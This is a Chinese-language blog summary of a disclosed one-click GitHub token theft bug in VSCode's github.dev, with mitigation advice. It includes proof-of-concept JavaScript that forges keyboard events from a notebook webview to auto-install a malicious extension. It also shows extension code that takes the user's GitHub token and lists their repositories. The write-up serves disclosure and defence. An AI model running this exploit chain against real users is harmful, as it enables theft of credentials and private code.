6月2日,安全研究员 Ammar Askar 披露了一个 VSCode 漏洞:**点一个链接,就能窃取你的 GitHub Token,拿到所有仓库(含私有)的读写权限。** PoC 已公开,攻击链完整可复现。 --- ## 攻击入口:github.dev [github.dev](https://github.dev) 是 GitHub 的在线编辑器,把 `github.com` 改成 `github.dev` 就能在浏览器里跑 VSCode。问题是:github.com 会把一个**不限仓库范围**的 OAuth Token POST 给 github.dev。 ![github.dev 菜单入口]({static}/images/2026-06-03-vscode-token-theft/github-dev-dropdown-option.webp) 浏览器里的 VSCode + 全权限 GitHub token。攻击者眼里的完美组合。 --- ## 漏洞:keydown 事件穿透 VSCode 用 iframe + 不同 origin 隔离 webview,理论上 Notebook 里的恶意 JS 碰不到主窗口。 ![Webview 隔离架构]({static}/images/2026-06-03-vscode-token-theft/iframe-jupyter-notebook.png) 但为了快捷键体验,VSCode 在 webview 里监听 keydown 事件并冒泡到主窗口: ```javascript contentWindow.addEventListener('keydown', (e) => { hostMessaging.postMessage('did-keydown', { key: e.key, ctrlKey: e.ctrlKey, shiftKey: e.shiftKey }); }); ``` **没有任何机制阻止 webview 脚本伪造 KeyboardEvent。** 恶意脚本可以模拟任意快捷键,主窗口分不出真假。 --- ## 攻击链:三步组合 单看每一步都不算漏洞,组合起来就是完整 RCE。 **1. 伪造快捷键接受通知** VSCode 的 Ctrl+Shift+A 会接受最近一条通知的主按钮。攻击者 dispatch 一个 keydown 就行。 **2. 利用扩展推荐机制** 仓库的 `.vscode/extensions.json` 可以推荐扩展,用户打开时弹通知。攻击者把恶意扩展写进推荐列表,用伪造的 Ctrl+Shift+A 自动点安装。 ![扩展推荐通知]({static}/images/2026-06-03-vscode-token-theft/notification-recommended-extension.png) **3. 绕过发布者信任检查** VSCode 1.97 有发布者信任系统,但受信任工作空间里的本地扩展可以跳过。github.dev 默认受信任。 ![发布者信任对话框]({static}/images/2026-06-03-vscode-token-theft/trusted-publisher-dialog.png) 攻击者把恶意扩展放 `.vscode/extensions/` 下,通过自定义 keybind 绕过信任检查直接安装。 ### 完整流程 Jupyter Notebook 的 Markdown cell 里放 `` 触发 JS → 等 10 秒 → 伪造 Ctrl+Shift+A 接受通知 → 等 500ms → 伪造 Ctrl+F1 安装恶意扩展 → 拿 token → 读所有私有仓库 → 外传。 **全程零交互,除了最初那个点击。** --- ## 复现步骤(仅供研究) > ⚠️ 用测试账号和空仓库。 **仓库结构:** ``` malicious-repo/ ├── README.ipynb # payload 在这里 ├── .vscode/ │ ├── extensions.json # {"recommendations": ["attacker.evil-extension"]} │ └── extensions/ │ └── evil-ext/ # 本地恶意扩展 │ ├── package.json # 自定义 keybind → installExtension │ └── extension.js # 读取 GitHub token 并外传 ``` **Notebook payload 核心:** ```javascript await sleep(10000); // 伪造 Ctrl+Shift+A 接受通知 window.dispatchEvent(new KeyboardEvent('keydown', { key: 'a', code: 'KeyA', keyCode: 65, ctrlKey: true, shiftKey: true })); await sleep(500); // 伪造 Ctrl+F1 触发自定义 keybind window.dispatchEvent(new KeyboardEvent('keydown', { key: 'F1', code: 'F1', keyCode: 112, ctrlKey: true })); ``` **extension.js 核心:** ```javascript const session = await vscode.authentication.getSession('github', ['repo'], { createIfNone: true }); const token = session.accessToken; const repos = await fetch('https://api.github.com/user/repos', { headers: { 'Authorization': `token ${token}` } }).then(r => r.json()); ``` 访问 `https://github.dev//malicious-repo/blob/main/README.ipynb` 即可触发。 ![PoC 执行状态]({static}/images/2026-06-03-vscode-token-theft/poc-status-page.png) ![PoC 结果:Token 和私有仓库被窃取]({static}/images/2026-06-03-vscode-token-theft/poc-info-box.png) --- ## 影响与自保 | 场景 | 风险 | |------|------| | github.dev | 高(点链接即触发) | | VSCode 桌面版 | 中(需 clone + 打开 Notebook) | | 其他 Webview XSS | 高(可升级为 RCE) | **现在就做:** 1. **清除 github.dev 本地存储** — Chrome 地址栏图标 → Cookies and site data → 删除 github.dev 相关条目 ![管理站点数据]({static}/images/2026-06-03-vscode-token-theft/manage-site-data.png) ![删除站点数据]({static}/images/2026-06-03-vscode-token-theft/delete-site-data.png) 2. **审计 GitHub OAuth 授权** — Settings → Applications → Authorized OAuth Apps 3. **对 github.dev 链接保持警惕** — 先看仓库内容再决定开不开 --- ## 几句闲话 VSCode 的纵深防御没毛病:CSP 阻止了扩展页 XSS,DOMPurify 净化了 Markdown,iframe 隔离架构也对。问题出在 keydown 转发这个"为了体验"的设计决策。 每个为了便利性绕过安全边界的决策,都是潜在的攻击面。这不是 VSCode 的特例,是所有软件工程的通用规律。 研究员选 Full Disclosure 也有原因——之前向 MSRC 报告 VSCode 安全问题,微软默默修了 bug 没给致谢,还标记为"无安全影响"。安全研究者的劳动不该被轻视。 --- ## ⚠️ 网络安全免责声明 本文内容仅供技术研究与安全学习之用。请勿将本文所述技术用于任何未经授权的安全测试、渗透攻击或非法用途。任何因滥用本文信息而造成的法律后果,由使用者自行承担,与本文作者无关。 如发现系统安全漏洞,请通过合法渠道向相关厂商或平台报告,共同维护网络安全生态。 --- *参考来源:[1-Click GitHub Token Stealing via a VSCode Bug](https://blog.ammaraskar.com/github-token-stealing/) — Ammar Askar, 2026-06-02*